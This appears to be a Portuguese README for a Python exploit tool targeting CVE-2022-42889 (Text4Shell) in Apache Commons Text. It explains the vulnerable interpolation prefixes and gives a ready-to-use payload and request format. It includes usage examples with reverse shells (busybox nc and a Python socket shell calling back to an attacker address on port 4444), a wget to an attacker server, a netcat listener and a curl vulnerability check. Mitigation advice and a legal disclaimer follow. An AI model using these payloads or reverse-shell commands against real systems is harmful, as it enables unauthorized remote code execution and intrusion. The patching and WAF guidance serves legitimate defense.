
Exploit em Python para CVE-2022-42889 (Text4Shell) que permite execução remota de código via interpolação do Apache Commons Text. Suporta geração de reverse shell, SSRF e execução de comandos personalizados.
Um exploit em Python para CVE-2022-42889 (Text4Shell), uma vulnerabilidade crítica de execução remota de código no Apache Commons Text versões anteriores a 1.10.0.
Este exploit tem como alvo CVE-2022-42889 (Text4Shell), uma vulnerabilidade no Apache Commons Text que permite Execução Remota de Código (RCE) através de strings de entrada especialmente criadas processadas pelo interpolador StringLookup.
A vulnerabilidade tem impacto semelhante ao Log4Shell, mas afeta uma biblioteca diferente. Quando uma entrada controlada pelo usuário é passada para métodos vulneráveis, um atacante pode executar código arbitrário no sistema alvo.
O Apache Commons Text fornece interpolação de strings através da interface StringLookup. A pesquisa do interpolator permite a avaliação de expressões com vários prefixos, incluindo:
${script:javascript:...} - Executa código JavaScript (motor Nashorn)${url:UTF-8:...} - Busca URLs (SSRF)${dns:...} - Consultas DNS| Produto | Versões Afetadas | Versão Corrigida |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (para RCE) | 15+ (Nashorn desativado) |
Nota: Versões do Java ≥ 15 não são vulneráveis a RCE através do prefixo script (Nashorn desativado), mas ainda podem ser vulneráveis a SSRF através dos prefixos url e dns.
requestsInstale as dependências:
pip install requests
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
# Inicie o ouvinte
nc -lvnp 4444
# Execute o exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
Construção do Payload: O script cria uma string maliciosa usando a sintaxe ${script:javascript:...}:
${script:javascript:java.lang.Runtime.getRuntime().exec('COMANDO')}
Codificação URL: Caracteres especiais são codificados em URL para garantir a transmissão adequada:
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMANDO%27%29%7D
Requisição HTTP: O script envia uma requisição GET para:
http://ALVO:PORTA/search?query=PAYLOAD_CODIFICADO
Execução do Comando: Se vulnerável, o alvo avalia o JavaScript e executa o comando.
Verifique se seu sistema está vulnerável:
curl -s "http://alvo:8080/search?query=\${script:javascript:7*7}"
Se a resposta contiver 49 em vez de ${script:javascript:7*7}, o sistema está vulnerável.
commons-text-*.jar na aplicaçãoAtualize o Apache Commons Text para a versão 1.10.0 ou superior:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
Atualize para Java 15+ (desabilita o motor JavaScript Nashorn)
Validação de Entrada: Implemente validação rigorosa da entrada do usuário
Desabilite Interpolação: Se não for necessário, evite usar StringSubstitutor.createInterpolator()
Firewall de Aplicação Web (WAF): Bloqueie requisições contendo padrões ${script:javascript:}
Este exploit é apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado deste exploit contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal. Os autores não são responsáveis por qualquer uso indevido ou danos causados por esta ferramenta.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para mais detalhes.
Contribuições, problemas e solicitações de funcionalidades são bem-vindos! Sinta-se à vontade para verificar a página de issues.
Feliz Hacking! 🚀
| Argumento | Descrição | Obrigatório |
|---|
-t, --target | Endereço IP do alvo | ✅ Sim |
-p, --port | Porta do alvo (padrão: 8080) | ❌ Não |
-c, --command | Comando a executar | ✅ Sim |
--lhost | Seu IP para reverse shell | ✅ Sim |
--lport | Sua porta para reverse shell | ✅ Sim |